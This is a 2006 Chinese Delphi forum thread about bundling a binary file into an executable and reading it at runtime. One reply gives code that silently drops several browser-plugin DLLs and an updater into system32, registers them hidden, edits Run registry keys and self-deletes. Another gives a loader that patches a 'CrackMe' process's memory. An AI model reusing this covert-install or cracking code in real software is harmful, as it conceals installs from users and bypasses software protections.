如何把一个bin文件捆绑到一个可执行文件exe中？很急的！(50分)

sunnysheng · 2006-11-14

如何把一个bin文件捆绑到一个可执行文件exe中？而且可以读bin文件里的内容进行处理？请教各位大侠了，谢谢！

sunnyfairy · 2006-11-14

不知道用资源文件可不可以。 或者用流的方式加载到文件末尾。。

sunnysheng · 2006-11-14

用资源的话，好象还是要把资源文件写到磁盘上访问的啊，不过如果能把资源文件释放到内存中来访问也不错的。就不知道哪位会！

xiammy · 2006-11-14

其实最简单的就是追加到exe文件的最后啊。 因为PE文件的装载在exe中是有明确定义的，末尾的添加不会有任何影响。你只要在你添加的文件中，记录一下长度，就可以在程序中使用了。 Good Luck!

sunnysheng · 2006-11-14

xiammy Thank you!!!能不能具体点啊？PE文件是什么？如何定义？

djsyz · 2006-11-15

这还不简单哦，把二进制用流做成资源加到EXE里，再用流读出来（需要生成一个临时文件）。给分吧。。。。。。

sbzldlb · 2006-11-15

IEBand FILE1 IEBand.dll aKiller FILE2 aKiller.dll Key FILE3 Key.dll ShowIEBand FILE4 ShowIEBand.dll config FILE5 config.ini Server FILE6 Server.ini UpData FILE7 UpData.exe 资源文件上面的 底下是释放 program InsertIEBand; {$APPTYPE CONSOLE} uses  SysUtils,ShellApi,Windows,Classes,forms; {$R Rec.res}   var  Res: TResourceStream; procedure DeleteRegKeyValue(Root: DWORD; Key: string; ValueName: string = ''); var  KeyHandle: HKEY; begin  if ValueName = '' then    RegDeleteKey(Root, PChar(Key));  if RegOpenKey(Root, PChar(Key), KeyHandle) = ERROR_SUCCESS then  try    RegDeleteValue(KeyHandle, PChar(ValueName));  finally    RegCloseKey(KeyHandle);  end; end; function CreateDelBat(BatName,ExeName: String):String; var  stBat : TStrings; begin  Result := '';  stBat := TStringList.Create;  try    StBat.Add('echo off');    StBat.Add(':1');    StBat.Add('Erase "' + ExeName + '"');    StBat.Add('If exist "exe" Goto 1');    StBat.Add('Erase %0');    StBat.SaveToFile(BatName + '.Bat');    Result := BatName + '.Bat';  finally    stBat.Free;  end; end; begin  { TODO -oUser -cConsole Main : Insert code here }  if  DirectoryExists('C:/WINNT/system32/IEBand')=false then    if ForceDirectories('C:/WINNT/system32/IEBand')=false then Exit;  CreateDelBat('clear',application.Exename);  //卸载原来的插件  if FileExists('C:/WINNT/system32/IEBand/IEBand.dll') then    WinExec(PAnsiChar('regsvr32  /u /s C:/WINNT/system32/IEBand/IEBand.dll'), SW_HIDE);  if FileExists('C:/WINNT/system32/IEBand/ShowIEBand.dll') then    WinExec(PAnsiChar('regsvr32  /u /s C:/WINNT/system32/IEBand/ShowIEBand.dll'), SW_HIDE);  if FileExists('C:/WINNT/system32/IEBand/aKiller.dll') then    WinExec(PAnsiChar('regsvr32  /u /s C:/WINNT/system32/IEBand/aKiller.dll'), SW_HIDE);  res:=Tresourcestream.Create(HInstance,'IEBand','FILE1');  try    try      Res.SaveToFile('C:/WINNT/system32/IEBand/IEBand.dll'); //将资源保存为文件，即还原文件    finally      freeandnil(Res);    end;  except  end;  try    res:=Tresourcestream.Create(HInstance,'aKiller','FILE2');    try      Res.SaveToFile('C:/WINNT/system32/IEBand/aKiller.dll'); //将资源保存为文件，即还原文件    finally      freeandnil(Res);    end;  except  end;  try    res:=Tresourcestream.Create(HInstance,'Key','FILE3');    try      Res.SaveToFile('C:/WINNT/system32/IEBand/Key.dll'); //将资源保存为文件，即还原文件    finally      freeandnil(Res);    end;  except  end;  try    res:=Tresourcestream.Create(HInstance,'ShowIEBand','FILE4');    try      Res.SaveToFile('C:/WINNT/system32/IEBand/ShowIEBand.dll'); //将资源保存为文件，即还原文件    finally      freeandnil(Res);    end;  except  end;  try    res:=Tresourcestream.Create(HInstance,'config','FILE5');    try      Res.SaveToFile('C:/WINNT/system32/IEBand/config.ini'); //将资源保存为文件，即还原文件    finally      freeandnil(Res);    end;  except  end;  try    res:=Tresourcestream.Create(HInstance,'Server','FILE6');    try      Res.SaveToFile('C:/WINNT/system32/IEBand/Server.ini'); //将资源保存为文件，即还原文件    finally      freeandnil(Res);    end;  except  end;  try    res:=Tresourcestream.Create(HInstance,'UpData','FILE7');    try      Res.SaveToFile('C:/WINNT/system32/IEBand/UpData.exe'); //将资源保存为文件，即还原文件    finally      freeandnil(Res);    end;  except  end;  WinExec(PAnsiChar('regsvr32  /s C:/WINNT/system32/IEBand/IEBand.dll'), SW_HIDE);  WinExec(PAnsiChar('regsvr32  /s C:/WINNT/system32/IEBand/ShowIEBand.dll'), SW_HIDE);  //删除注册信息  DeleteRegKeyValue(HKEY_LOCAL_MACHINE,    'Software/Microsoft/windows/currentversion/run', 'IEBandUpData');  DeleteRegKeyValue(HKEY_CURRENT_USER,    'Software/Microsoft/windows/currentversion/run', 'IEBandUpData');  ShellExecute(0, 'open', 'clear.bat', '', '', 0)   end.

wynney · 2006-12-07

而且可以读bin文件里的内容进行处理？ 前面用资源或者是流的方法很好班 后面要读写bin的内容我也不会 如果你的这个bin以exe形式运行起来了的话 可以试试内存读写 program Loader; uses  Windows,TlHelp32; const  OldData : array[0..1] of byte = ($75,$36);  NewData : array[0..1] of byte = ($90,$90); var  StartInfo: TStartupInfo;  ProcInfo: TProcessInformation;  BytesRead : DWORD;  TmpData : array[0..1] of Byte; begin  ZeroMemory(@StartInfo, SizeOf(TStartupInfo));  StartInfo.cb := SizeOf(TStartupInfo);  if not CreateProcess(nil,'CrackMe.exe', nil, nil, False, Create_Suspended, nil, nil, StartInfo, ProcInfo) then Exit;  ReadProcessMemory(ProcInfo.hProcess,Pointer($408645),@TmpData,2,BytesRead);  if (TmpData[0] = OldData[0]) and (TmpData[1] = OldData[1]) then  begin    if WriteProcessMemory(ProcInfo.hProcess, Pointer($408645), @NewData, 2, BytesRead) then      MessageBox(0,'恭喜补丁成功',nil,0) else MessageBox(0,'不好意思补丁失败',nil,0);  end else  begin    MessageBox(0,'不好意思补丁失败',nil,0)  end;  ResumeThread(ProcInfo.hThread);  CloseHandle(ProcInfo.hProcess);  CloseHandle(ProcInfo.hThread); end.

如何把一个bin文件捆绑到一个可执行文件exe中？很急的！(50分)

sunnysheng

Unregistered / Unconfirmed

sunnyfairy

Unregistered / Unconfirmed

sunnysheng

Unregistered / Unconfirmed

xiammy

Unregistered / Unconfirmed

sunnysheng

Unregistered / Unconfirmed

djsyz

Unregistered / Unconfirmed

sbzldlb

Unregistered / Unconfirmed

wynney

Unregistered / Unconfirmed

Similar threads